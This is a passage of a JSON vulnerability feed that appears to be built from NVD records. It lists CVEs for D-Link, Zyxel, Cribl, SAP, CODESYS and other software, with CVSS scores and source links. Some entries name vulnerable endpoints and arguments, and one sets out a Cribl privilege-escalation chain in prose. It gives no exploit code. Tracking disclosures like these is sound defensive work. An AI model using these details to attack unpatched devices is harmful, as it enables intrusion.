misconfigurations that may lead to further system compromise.","detail":"Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.\r\nThis could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T10:16:45.540Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-27662","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-27662","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27662","type":"primary","publishedAt":"2026-05-12T10:16:45.540Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39432","cveId":"CVE-2026-39432","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels.","summary":"Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects Timetics: from n/a through 1.0.53.","detail":"Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects Timetics: from n/a through 1.0.53.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T09:16:40.337Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39432","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39432","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39432","type":"primary","publishedAt":"2026-05-12T09:16:40.337Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35227","cveId":"CVE-2026-35227","aliases":[],"kind":"vulnerability","title":"An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully...","summary":"An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully exploited, preventing legitimate clients from establishing new connections.","detail":"An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully exploited, preventing legitimate clients from establishing new connections.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T08:16:08.193Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35227","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35227","type":"primary","publishedAt":"2026-05-12T08:16:08.193Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7287","cveId":"CVE-2026-7287","aliases":[],"kind":"vulnerability","title":"** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs”...","summary":"** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs” binary in Zyxel NWA1100-N customized firmware version 1.00(AACE.1)C0 could allow an attacker to trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to a vulnerable device.","detail":"** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs” binary in Zyxel NWA1100-N customized firmware version 1.00(AACE.1)C0 could allow an attacker to trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to a vulnerable device.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T04:16:29.637Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"zyxel","product":"nwa1100-n firmware","stacks":["Zyxel","nwa1100-n firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7287","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7287","type":"primary","publishedAt":"2026-05-12T04:16:29.637Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7256","cveId":"CVE-2026-7256","aliases":[],"kind":"vulnerability","title":"** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the...","summary":"** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to execute operating system (OS) commands on a vulnerable device by sending a crafted HTTP request.","detail":"** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to execute operating system (OS) commands on a vulnerable device by sending a crafted HTTP request.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T04:16:29.360Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"zyxel","product":"wre6505 firmware","stacks":["Zyxel","wre6505 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7256","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7256","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7256","type":"primary","publishedAt":"2026-05-12T04:16:29.360Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45430","cveId":"CVE-2026-45430","aliases":[],"kind":"vulnerability","title":"The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.","summary":"The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.","detail":"The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T04:16:28.027Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45430","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45430","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45430","type":"primary","publishedAt":"2026-05-12T04:16:28.027Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34259","cveId":"CVE-2026-34259","aliases":[],"kind":"vulnerability","title":"Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled...","summary":"Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability.","detail":"Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T03:16:11.383Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34259","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34259","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34259","type":"primary","publishedAt":"2026-05-12T03:16:11.383Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45393","cveId":"CVE-2026-45393","aliases":[],"kind":"vulnerability","title":"A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\\SYSTEM.","summary":"A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\\SYSTEM. Incorrect default permissions on the Windows installer's authentication directory (CWE-276) expose a cryptographic secret used for JWT signing and password-hash derivation, enabling forgery of administrative API tokens. The forged token can then be used to invoke a pipeline function that reaches an OS command sink (CWE-78) running in the SYSTEM context.","detail":"A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\\SYSTEM. Incorrect default permissions on the Windows installer's authentication directory (CWE-276) expose a cryptographic secret used for JWT signing and password-hash derivation, enabling forgery of administrative API tokens. The forged token can then be used to invoke a pipeline function that reaches an OS command sink (CWE-78) running in the SYSTEM context.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T02:16:13.310Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45393","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45393","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45393","type":"primary","publishedAt":"2026-05-12T02:16:13.310Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45392","cveId":"CVE-2026-45392","aliases":[],"kind":"vulnerability","title":"DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked...","summary":"DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked into visiting a crafted URL and interacting with the page.","detail":"DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked into visiting a crafted URL and interacting with the page.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T02:16:13.220Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45392","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45392","type":"primary","publishedAt":"2026-05-12T02:16:13.220Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45391","cveId":"CVE-2026-45391","aliases":[],"kind":"vulnerability","title":"A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl...","summary":"A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl Edge service account.","detail":"A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl Edge service account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T02:16:13.107Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45391","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45391","type":"primary","publishedAt":"2026-05-12T02:16:13.107Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8346","cveId":"CVE-2026-8346","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward.","summary":"A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward. Performing a manipulation of the argument ip_address results in command injection. The attack can be initiated remotely. The exploit is now public and may be used.","detail":"A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward. Performing a manipulation of the argument ip_address results in command injection. The attack can be initiated remotely. The exploit is now public and may be used.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T00:17:03.433Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dlink","product":"dir-816 firmware","stacks":["D-Link","dir-816 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8346","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8346","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8346","type":"primary","publishedAt":"2026-05-12T00:17:03.433Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8345","cveId":"CVE-2026-8345","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward.","summary":"A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.","detail":"A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:22.813Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dlink","product":"dir-816 firmware","stacks":["D-Link","dir-816 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8345","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8345","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8345","type":"primary","publishedAt":"2026-05-11T23:20:22.813Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8344","cveId":"CVE-2026-8344","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi.","summary":"A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.","detail":"A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:14.977Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dlink","product":"dir-816 firmware","stacks":["D-Link","dir-816 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8344","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8344","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8344","type":"primary","publishedAt":"2026-05-11T22:22:14.977Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE 